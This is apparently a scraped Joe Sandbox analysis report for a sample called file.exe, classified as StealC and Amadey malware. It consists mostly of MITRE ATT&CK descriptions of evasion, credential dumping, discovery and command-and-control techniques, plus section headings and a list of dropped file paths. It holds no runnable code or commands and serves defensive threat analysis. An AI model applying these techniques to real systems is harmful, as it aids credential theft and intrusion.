Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFHDAKJKFCFBGCBGDHCBAFCAKE

C:\ProgramData\EHCFBFBAEBKJKEBGCAEHCFCBAE

C:\ProgramData\HCFCAAEBGCAKKFIDBKJJ

C:\ProgramData\HDGDGHCA

C:\ProgramData\IIEBGIDAAFHIJJJJEGCG

C:\ProgramData\JDGIIDHJ

C:\ProgramData\JDGIIDHJEBGIDHJJDBKE

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre